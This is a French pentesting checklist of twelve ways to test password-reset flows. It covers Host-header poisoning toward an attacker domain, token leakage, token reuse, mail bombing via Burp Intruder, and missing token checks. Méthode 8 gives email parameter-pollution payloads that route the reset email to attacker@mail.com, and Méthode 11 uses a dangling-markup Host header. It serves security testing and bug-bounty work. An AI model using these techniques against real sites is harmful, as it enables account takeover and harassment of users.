Mot de passe oublié

Mot de passe oublié

Méthode 1:

Password reset poisoning:

  • Aller dans la page mot de passe oublié

  • intercepter la requête avec l'email de la victime

  • changer le header "host: target.com" en "host: attaquant.com"

  • changer les headers "referrer: https://attaquant.com", "origin: https://attaquant.com", "X-Forwarded-For: attaquant.com" et "X-Forwarded-Host: attaquant.com" également

  • Si aucun ne fonctionne, Essayer d'utiliser une deuxième en-tête " Host: attaquant.com" (avec un espace devant)

  • Forwarder la requête

  • Si ça fonctionne alors on sera capable de recevoir les informations sur le contrôleur de domaine de attaquant.com

Méthode 2:

  • Ouvrir un navigateur avec burp suite

  • faire une demande de mot de passe oublié sans intercepter

  • ouvrir l'email dans un autre navigateur et copier le token

  • chercher le même token dans l'historique de navigation de burp suite

  • Si il est présent alors il y a un risque d'account takeover

Méthode 3:

  • Aller dans mot de passe oublié

  • envoyer le lien

  • suivre le lien dans les emails

  • finalement, ne pas valider et cliquer sur un lien de redirection (exp: icone facebook)

  • intercepter la requête

  • Si le lien est présent dans le header alors il y a une fuite de données

Méthode 4:

  • Essayer d'utiliser plusieurs fois le même lien de mot de passe oublié

  • Si il n'est pas désactivé entre temps alors il est réutilisable par un attaquant

Méthode 5:

  • Demander deux fois un lien de mot de passe oublié

  • Si en utilisant le premier lien reçu on peut changer le mot de passe alors il y a une vulnérabilité

Méthode 6:

  • ouvrir burp

  • intercepter la demande de changement de mot de passe

  • ajouter .json au bout de l'url et regarder le résultat

  • Possibilité de fuite du token...

Méthode 7:

Rate limit:

  • intercepter la requête de mot de passe oublié dans burp

  • envoyer vers intruder

  • Utiliser "Null payload"

  • envoyer la requête 100 fois

  • Vérifier dans les mails si le mail a été envoyés 100 fois

  • Si oui on peut effectuer du mail bombing sur n'importe qui

Méthode 8:

Email Header Injection:

email= victim@mail.com&email=attacker@mail.com
email= victim@mail.com%20email=attacker@mail.com
email= victim@mail.com |email=attacker@mail.com
email= victim@mail.com%0d%0acc:attacker@mail.com
email= victim@mail.com&code= mon token de réinitialisation
email[]= victim@mail.com&email[]=attacker@mail.com
email=victim@mail.com,attacker@mail.com
{"email": "victim@mail.com", "email":"attacker@mail.com"}
{"email": "victim@mail.com/nattacker@mail.com"}
{"email": ["victim@mail.com","attacker@mail.com"]}

Si l'un de ces payloads fonctionne, l'email sera envoyé à la victime mais aussi à l'attaquant.

Méthode 9:

Leaks dans la reponse http:

  • intercepter la demande de mot de passe oublié dans burp

  • Foward la requête

  • Regarder si le token, lien ou autre est leak dans la réponse

Méthode 10:

  • Changez le mot de passe avec votre compte

  • Envoyez la requête dans "Repeater"

  • Laissez le paramètre contenant le token vide et changer votre nom d'utilisateur par celui de votre victime puis envoyez la requête.

  • Si la vérification du token n'est pas effectué par le serveur le mot de passe de la victime sera changé et il y aura donc account takeover.

Méthode 11: Dangling markup

  • Changez le mot de passe de votre compte

  • Envoyer la requête dans "Repeater"

  • à la suite du header "host: target.com" ajouter à la place d'un port un script redirigeant vers votre serveur ("host: target.com:<a href="attaquant.com">)

  • Envoyer la requête

  • Si cela fonctionne, vous recevrais alors le lien dans les information du contrôleur de domaine attaquant.

Méthode 12: Param fuzzing

  • Fuzz les paramètres directement depuis burp ou via un outil comme Arjun.

  • Si il y a un paramètre tel que url, href ou autre essayer d'y placer un lien vers un serveur attaquant.

  • Le lien généré dans l'email de réinitialisation pourrait alors rediriger vers le serveur attaquant.

Dernière mise à jour